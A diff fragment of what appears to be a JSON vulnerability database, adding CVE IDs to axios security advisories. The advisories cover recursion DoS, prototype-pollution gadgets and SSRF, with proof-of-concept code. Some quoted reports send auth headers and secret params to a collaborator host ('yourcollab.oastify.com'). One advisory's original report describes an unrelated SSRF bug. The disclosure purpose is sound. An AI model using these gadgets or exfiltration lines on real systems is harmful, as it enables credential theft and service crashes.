depth: ' + maxDepth,\n+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n+ );\n+ }\n+ if (v && typeof v === 'object') {\n+ for (const k in v) checkDepth(v[k], d + 1);\n+ }\n+ })(value, 0);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n }\n```\n\n(The recursion in `checkDepth` itself is bounded by `maxDepth`, so it cannot itself overflow.)\n\n## PoC\nReproduces against a clean clone of `axios/axios` at v1.16.0 with `npm install` already run. `targets/axios/poc_jsonstringify_dos.mjs` is the script:\n\n```javascript\nimport axios from './source/index.js';\n\nfunction buildDeep(depth) {\n let head = {};\n let cur = head;\n for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; }\n return head;\n}\n\nconst malicious = buildDeep(5000);\nconst safeAdapter = () => Promise.resolve({\n data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}\n});\n\n// 1. POST x-www-form-urlencoded\ntry {\n await axios.post('http://example.test/x',\n { 'evil{}': malicious },\n { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });\n} catch (e) {\n console.log('POST form-encoded:', e.name, '-', e.message);\n}\n\n// 2. GET with params\ntry {\n await axios.get('http://example.test/x',\n { params: { 'evil{}': malicious }, adapter: safeAdapter });\n} catch (e) {\n console.log('GET params:', e.name, '-', e.message);\n}\n```\n\n3/3 runs reproduce the same `RangeError` on `axios@1.16.0` with Node.js 24:\n\n```\n$ node poc_jsonstringify_dos.mjs\nPOST form-encoded: RangeError - Maximum call stack size exceeded\nGET params: RangeError - Maximum call stack size exceeded\n```\n\n`safeAdapter` is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the `'{}'` suffix from the key and re-running gives the expected `AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED` from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.\n\nCrash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.\n\n## Impact\nA remote, unauthenticated attacker who can influence an object that the application passes to axios as request `data` or `params` triggers an uncaught `RangeError` from inside the synchronous `JSON.stringify` call in `defaultVisitor`. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped `maxDepth` guard does not stop it because the `'{}'` suffix path bypasses `build()` entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with `'{}'` to land on the unguarded code path.\n
", "info": [ @@ -8675,7 +8693,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution gadgets can alter axios request construction", - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "details": "## Summary\n\naxios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.\n\nAdditional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`.\n\n## Impact\n\nAn attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`.\n\nFor direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.\n\nFor direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`.\n\n## Affected Functionality\n\nAffected normal API:\n\n- `axios.get(url[, config])`\n- `axios.delete(url[, config])`\n- `axios.head(url[, config])`\n- `axios.options(url[, config])`\n\nAffected low-level usage:\n\n- Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`.\n- Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`.\n\nUnaffected or corrected scope:\n\n- Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads.\n\n## Technical Details\n\n`lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter.\n\n`lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`.\n\nThe low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values.\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'http';\nimport axios from 'axios';\n\nconst server = http.createServer((req, res) => {\n let body = '';\n\n req.on('data', chunk => {\n body += chunk;\n });\n\n req.on('end', () => {\n res.writeHead(200, {'content-type': 'application/json'});\n res.end(JSON.stringify({body, headers: req.headers}));\n });\n});\n\nawait new Promise(resolve => server.listen(0, '127.0.0.1', resolve));\n\nObject.prototype.data = 'INJECTED';\n\ntry {\n const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);\n\n console.log(res.data.body); // \"INJECTED\"\n console.log(res.data.headers['content-length']); // \"8\"\n} finally {\n delete Object.prototype.data;\n await new Promise(resolve => server.close(resolve));\n}\n```\n\nExpected result: a request body is sent even though the caller did not explicitly set `config.data`.\n\n## Workarounds\n\nAvoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern.\n\n
\nOriginal Report\n\n### Summary\n\nThree prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests.\n\n### Details\n\nThe [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:\n\n`config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.\n\n`(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.\n\n`config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings.\n\nI read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage.\n\n### PoC\n\nRan against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps.\n\n```javascript\nimport axios from 'axios';\n\n// gadget 1 - proxy\nObject.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' };\nawait axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });\n// check collaborator - request arrives with full path + auth header\n```\n\n```javascript\n// gadget 2 - data on bodyless methods\nObject.prototype.data = '{\"injected\":true}';\nawait axios.get('https://api.example.com/items');\nawait axios.delete('https://api.example.com/items/1');\nawait axios.head('https://api.example.com/items');\n// 3/4 methods send the polluted body\n```\n\n```javascript\n// gadget 3 - paramsSerializer\nObject.prototype.paramsSerializer = (p) => {\n fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));\n return 'q=x';\n};\nawait axios.get('https://api.example.com/search', { params: { token: 'secret' } });\n```\n\n### Impact\n\nAny app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.\n
", "info": [ @@ -9347,7 +9368,10 @@ ], "identifiers": { "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service", - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "details": "## Summary\nAxios versions `0.28.0` and later contain uncontrolled recursion in `formDataToJSON`, the helper behind the public `axios.formToJSON()` / named `formToJSON` API and the default request transform used when FormData is sent with an `application/json` content type.\n\nApplications are affected when they pass attacker-controlled `FormData` field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw `RangeError: Maximum call stack size exceeded`, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.\n\n## Impact\nThe impact is denial of service against applications that process untrusted `FormData` field names through axios' FormData-to-JSON conversion.\n\nThe vulnerable path is not reached by merely installing axios, by normal multipart `FormData` pass-through, or by ordinary axios requests that do not request JSON serialisation of `FormData`. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of `formToJSON()` throws synchronously.\n\nServer-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with `formToJSON()` or sends them through axios as JSON.\n\n## Affected Functionality\nAffected APIs and paths:\n- `axios.formToJSON(formData)`\n- `import { formToJSON } from \"axios\"`\n- `lib/helpers/formDataToJSON.js`\n- axios default `transformRequest` when `data` is `FormData` and `Content-Type` contains `application/json`\n\nUnaffected or lower-risk paths:\n- Normal multipart `FormData` requests without `JSON Content-Type`\n- `toFormData()` object-to-FormData serialisation, which already has a `maxDepth` guard\n- Axios versions before 0.28.0, where this helper and public API were not present\n\n## Technical Details\n`lib/helpers/formDataToJSON.js` parses a form field name into path segments with `parsePropPath()`. For a key such as `a[x][x][x]`, each bracketed segment becomes another path element.\n\n`formDataToJSON()` then calls the nested `buildPath(path, value, target, index)` function. `buildPath()` recursively calls itself once for each path segment and does not enforce a maximum depth:\n\n`const result = buildPath(path, value, target[name], index);`\n\nA key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws `RangeError: Maximum call stack size exceeded`.\n\nAxios already applies a depth guard to the inverse serializer in `lib/helpers/toFormData.js`, where `maxDepth` defaults to 100 and exceeding it throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`. `formDataToJSON()` does not currently have equivalent protection.\n\n## Proof of Concept of Attack\n```js\nimport { formToJSON } from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\ntry {\n formToJSON(fd);\n console.log(\"not vulnerable\");\n} catch (err) {\n console.log(`${err.constructor.name}: ${err.message}`);\n}\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\nThe axios request transform path can also be reached before network I/O:\n\n```js\nimport axios from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\nawait axios\n .post(\"http://127.0.0.1:1/\", fd, {\n headers: { \"Content-Type\": \"application/json\" }\n })\n .catch((err) => console.log(`${err.constructor.name}: ${err.message}`));\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\n## Workarounds\nApplications can avoid the vulnerable path by not converting attacker-controlled `FormData` to JSON with axios.\n\nIf conversion is required before a fixed axios release is available, validate `FormData` field names before calling `formToJSON()` or before sending `FormData` with `Content-Type: application/json`. Reject keys whose parsed nesting depth exceeds the application's expected schema.\n\nFor axios requests carrying untrusted `FormData`, avoid setting `Content-Type: application/json`; leaving the data as multipart FormData bypasses `formDataToJSON()`.\n\nCatching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.\n\n
\nOriginal Report\n# Axios SSRF via Incomplete Loopback Detection\n## CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n---\n\n## 1. Classification\n\n| CWE | CVSS Score | Severity | Type |\n|-----|-----------|----------|------|\n| CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery |\n\n## 2. Description\n\n### Summary\nThe `shouldBypassProxy()` function in Axios fails to recognise `0.0.0.0`, `::`, and `::ffff:0.0.0.0` as loopback addresses. When `NO_PROXY=localhost` is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface.\n\n### Root Cause\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n**`isIPv4Loopback` (lines 3-8):** Only checks for `127.x.x.x` addresses by inspecting `parts[0] !== '127'`. The `0.0.0.0` address has `parts[0] === '0'`, so it falls through as non-loopback, even though on Linux `0.0.0.0` routes to the loopback interface.\n\n**`isIPv6Loopback` (lines 10-38):** Only checks `host === '::1'`. The `::` address (unspecified IPv6) also routes to the loopback, but is not recognised.\n\n**Attack Flow:**\n```\nisIPv4Loopback (line 3) — fails for 0.0.0.0\n → isLoopback (line 44) — wraps both checks, returns false\n → shouldBypassProxy (line 127) — PUBLIC API, exported default\n → lib/adapters/http.js (line 190) — Node.js HTTP adapter\n```\n\n### Attack Vector\n- **Access Vector:** Network (AV:N)\n- **Access Complexity:** Low (AC:L) — attacker only needs control of a URL\n- **Privileges Required:** None (PR:N)\n- **User Interaction:** None (UI:N)\n\n## 3. Proof of Concept\n\n### Phase 1: Logic Verification\n\n```javascript\nimport shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';\n\n// Normal loopback — correctly returns true (bypasses proxy)\nshouldBypassProxy('http://127.0.0.1:9999/'); // → true\n\n// Vulnerable — returns false (goes through proxy!)\nshouldBypassProxy('http://0.0.0.0:9999/'); // → false ← SSRF\nshouldBypassProxy('http://[::]:9999/'); // → false ← SSRF\nshouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF\n```\n\n### Phase 2: Docker E2E Reproduction\n\nA full 3-container Docker reproduction was created and tested:\n\n- **Proxy container:** Simple HTTP forward proxy on port 8888\n- **Internal container:** Internal service on port 9999 (simulates sensitive internal resource)\n- **Attacker container:** Runs the test script with Axios source mounted\n\n**Reproduction steps:**\n```bash\ncd /tmp/deep-e2e\ndocker compose up -d\ndocker compose exec attacker node test-ssrf.js\n```\n\n**Results:**\n- Test 1: `127.0.0.1 + NO_PROXY=localhost` → BYPASS (correct) \n- Test 2: `0.0.0.0 + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n- Test 3: `[::] + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n- Test 4: `[::ffff:0.0.0.0] + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n\n### Phase 3: Actual Axios Client\n\nThe real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration:\n- Axios with `proxy: { host: 'proxy', port: 8888 }` \n- Setting `NO_PROXY=localhost` and requesting `http://0.0.0.0:9999/`\n- Result: Axios forwarded the request through the proxy instead of bypassing it\n\n## 4. Impact\n\n### Attack Scenario\n1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain)\n2. The Axios client is configured with a proxy (e.g., corporate proxy) and `NO_PROXY=localhost` to protect internal services\n3. Attacker supplies `http://0.0.0.0:8080/admin` as the target URL\n4. Axios sends the request through the proxy\n5. The proxy resolves `0.0.0.0` → the proxy's own loopback → reaches the internal admin service on port 8080\n\n### Potential Consequences\n- **Information disclosure (C:L):** Internal service responses become accessible\n- **Integrity impact (I:L):** Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE)\n- **Availability impact (A:L):** Limited — depends on internal service behavior\n\n### Likelihood\n- **High** — proxy bypass is a common pattern in microservice architectures\n- **Medium** — requires attacker control of a URL (not always available)\n\n## 5. Remediation\n\n### Code Fix\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\nfunction isIPv4Loopback(host) {\n if (host === '0.0.0.0') return true; // ADD THIS LINE\n const parts = host.split('.');\n if (parts.length !== 4) return false;\n if (parts[0] !== '127') return false;\n return parts.every(p => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);\n}\n\nfunction isIPv6Loopback(host) {\n if (host === '::1' || host === '::') return true; // ADD '::'\n // ... rest of implementation\n}\n```\n\n### Workarounds\n- Add `0.0.0.0` and `::` to the `NO_PROXY` environment variable explicitly\n- Use `127.0.0.1` instead of `0.0.0.0` in all internal service URLs\n- Implement URL validation to reject `0.0.0.0` and `::` before passing to Axios", "info": [ @@ -9369,7 +9393,10 @@ ], "identifiers": { "summary": "Axios: Nested axios option objects can consume polluted prototype values", - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "details": "## Summary\n\nAxios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted `Object.prototype`.\n\nThe top-level merged config is protected with a null prototype, but nested plain objects such as `auth` and `paramsSerializer` are cloned into ordinary objects. If application code passes placeholders such as `auth: {}` or `paramsSerializer: {}`, inherited `username`, `password`, `encode`, or `serialize` properties can influence outbound requests.\n\n## Impact\n\nThis is reachable only when another component has already polluted `Object.prototype` and the application passes an affected nested axios option object.\n\nConfirmed impacts include silent injection of an `Authorization: Basic ...` header from inherited `username` and `password` values, and query-string tampering when inherited `paramsSerializer` fields are function-valued.\n\nThe `auth` case requires only string-valued pollution. Full query-string replacement through `paramsSerializer.serialize` requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through `encode`.\n\nThis does not mean every axios request is affected. Requests that do not pass `auth`, do not pass `paramsSerializer`, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.\n\n## Affected Functionality\n\nAffected runtime functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser/fetch/XHR Basic auth handling through `lib/helpers/resolveConfig.js`.\n- Query serialization through `lib/helpers/buildURL.js`.\n- `axios.getUri()` when called with an affected `paramsSerializer` object.\n\nAffected config shapes:\n\n- `auth: {}` or an `auth` object missing own `username` and/or `password`.\n- `paramsSerializer: {}` or a `paramsSerializer` object missing own `encode` and/or `serialize`.\n\nUnaffected by this specific issue:\n\n- Requests with no `auth` property.\n- Requests with no `paramsSerializer` property.\n- Top-level polluted `auth` or `paramsSerializer` values in current hardened versions.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates the top-level merged config with `Object.create(null)`, but nested object cloning still uses ordinary `{}` containers:\n\n```js\n} else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n}\n```\n\nDownstream code then reads nested fields without own-property checks.\n\nIn `lib/helpers/resolveConfig.js`:\n\n```js\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n```\n\nIn `lib/adapters/http.js`:\n\n```js\nconst username = configAuth.username || '';\nconst password = configAuth.password || '';\nauth = username + ':' + password;\n```\n\nIn `lib/helpers/buildURL.js`:\n\n```js\nconst _encode = (options && options.encode) || encode;\nconst serializeFn = _options && _options.serialize;\n```\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'node:http';\nimport axios from './index.js';\n\nconst user = 'attacker';\nconst pass = 'exfil';\n\nObject.defineProperty(Object.prototype, 'username', {\n value: user,\n configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'password', {\n value: pass,\n configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'serialize', {\n value: () => 'polluted=1',\n configurable: true\n});\n\nconst server = http.createServer((req, res) => {\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify({\n authorization: req.headers.authorization || null,\n url: req.url\n }));\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\n\ntry {\n const port = server.address().port;\n const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n auth: {},\n paramsSerializer: {},\n params: { unused: 'ignored' }\n });\n\n console.log(response.data);\n} finally {\n await new Promise((resolve) => server.close(resolve));\n delete Object.prototype.username;\n delete Object.prototype.password;\n delete Object.prototype.serialize;\n}\n```\n\nObserved result:\n\n```json\n{\n \"authorization\": \"Basic YXR0YWNrZXI6ZXhmaWw=\",\n \"url\": \"/demo?polluted=1\"\n}\n```\n\n## Workarounds\n\nIf upgrading is not yet possible, avoid passing placeholder nested option objects.\n\nRemove `auth` entirely when Basic auth is not intended. For `paramsSerializer` objects, provide explicit own `encode` and `serialize` properties or remove `paramsSerializer` when custom serialization is not required.\n\nThese workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.\n\n
\nOriginal Report\n\n### Summary\naxios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. \n\n### Details\nmergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers:\n\nmergeConfig.js Lines 36-45\n\n```\n function getMergedValue(target, source, prop, caseless) {\n if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n return utils.merge.call({ caseless }, target, source);\n } else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n } else if (utils.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n```\n\nThe cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:\n\nBrowser / fetch Basic auth — lib/helpers/resolveConfig.js:\nresolveConfig.js Lines 64-70\n```\n if (auth) {\n headers.set(\n 'Authorization',\n 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n );\n }\n```\n\nNode HTTP adapter Basic auth — lib/adapters/http.js:\nhttp.js Lines 829-836\n```\n // HTTP basic authentication\n let auth = undefined;\n const configAuth = own('auth');\n if (configAuth) {\n const username = configAuth.username || '';\n const password = configAuth.password || '';\n auth = username + ':' + password;\n }\n```\n\nparamsSerializer reads — lib/helpers/buildURL.js:\nbuildURL.js Lines 31-54\n```\nexport default function buildURL(url, params, options) {\n if (!params) {\n return url;\n }\n const _encode = (options && options.encode) || encode;\n const _options = utils.isFunction(options)\n ? {\n serialize: options,\n }\n : options;\n const serializeFn = _options && _options.serialize;\n let serializedParams;\n if (serializeFn) {\n serializedParams = serializeFn(params, _options);\n } else {\n serializedParams = utils.isURLSearchParams(params)\n ? params.toString()\n : new AxiosURLSearchParams(params, _options).toString(_encode);\n }\n```\n\nBecause auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.\n\nThe auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.\n\n### PoC\n```\nimport http from 'node:http';\nimport axios from '../../index.js';\n\nconst ATTACKER_USER = 'attacker';\nconst ATTACKER_PASS = 'exfil';\nconst ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64');\n\n// Step 1: simulate a pre-existing prototype-pollution primitive in this process.\n// In reality, a separate dependency would have done this. We keep the\n// \"polluted\" properties non-enumerable so they only affect inherited reads,\n// which is the realistic shape of most prototype-pollution gadgets.\nObject.defineProperty(Object.prototype, 'username', {\n value: ATTACKER_USER,\n configurable: true,\n});\nObject.defineProperty(Object.prototype, 'password', {\n value: ATTACKER_PASS,\n configurable: true,\n});\nObject.defineProperty(Object.prototype, 'serialize', {\n value: () => 'polluted=1',\n configurable: true,\n});\n\n// Local capture server.\nconst server = http.createServer((req, res) => {\n const captured = {\n authorization: req.headers['authorization'] || null,\n url: req.url,\n };\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify(captured));\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\ntry {\n // Application code: passes nested *placeholder* option objects that have\n // no own auth/serializer properties. Without prototype pollution this is\n // a no-op. With prototype pollution it becomes attacker-controlled state.\n const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n auth: {},\n paramsSerializer: {},\n params: { unused: 'ignored-by-polluted-serializer' },\n });\n\n console.log('--- PoC: nested-option prototype-pollution gadgets ---');\n console.log('Server saw:', JSON.stringify(response.data));\n\n const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`;\n const urlRewritten = response.data.url === '/demo?polluted=1';\n\n if (authLeaked && urlRewritten) {\n console.log(\n 'VULNERABLE: nested auth + paramsSerializer inherited polluted ' +\n 'Object.prototype values into the outbound request.'\n );\n process.exitCode = 0;\n } else {\n console.log('NOT VULNERABLE: nested option objects did not leak prototype state.');\n console.log(' authLeaked =', authLeaked);\n console.log(' urlRewritten =', urlRewritten);\n process.exitCode = 1;\n }\n} finally {\n server.close();\n // Restore Object.prototype so a noisy exit/process state cannot affect\n // anything else accidentally sharing the runtime.\n delete Object.prototype.username;\n delete Object.prototype.password;\n delete Object.prototype.serialize;\n}\n```\n\n### Impact\nConcrete consequences:\n- Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams.\n- Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.\n
", "info": [ @@ -9391,7 +9418,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution gadgets can alter axios request construction", - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "details": "## Summary\n\naxios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.\n\nAdditional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`.\n\n## Impact\n\nAn attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`.\n\nFor direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.\n\nFor direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`.\n\n## Affected Functionality\n\nAffected normal API:\n\n- `axios.get(url[, config])`\n- `axios.delete(url[, config])`\n- `axios.head(url[, config])`\n- `axios.options(url[, config])`\n\nAffected low-level usage:\n\n- Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`.\n- Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`.\n\nUnaffected or corrected scope:\n\n- Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads.\n\n## Technical Details\n\n`lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter.\n\n`lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`.\n\nThe low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values.\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'http';\nimport axios from 'axios';\n\nconst server = http.createServer((req, res) => {\n let body = '';\n\n req.on('data', chunk => {\n body += chunk;\n });\n\n req.on('end', () => {\n res.writeHead(200, {'content-type': 'application/json'});\n res.end(JSON.stringify({body, headers: req.headers}));\n });\n});\n\nawait new Promise(resolve => server.listen(0, '127.0.0.1', resolve));\n\nObject.prototype.data = 'INJECTED';\n\ntry {\n const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);\n\n console.log(res.data.body); // \"INJECTED\"\n console.log(res.data.headers['content-length']); // \"8\"\n} finally {\n delete Object.prototype.data;\n await new Promise(resolve => server.close(resolve));\n}\n```\n\nExpected result: a request body is sent even though the caller did not explicitly set `config.data`.\n\n## Workarounds\n\nAvoid 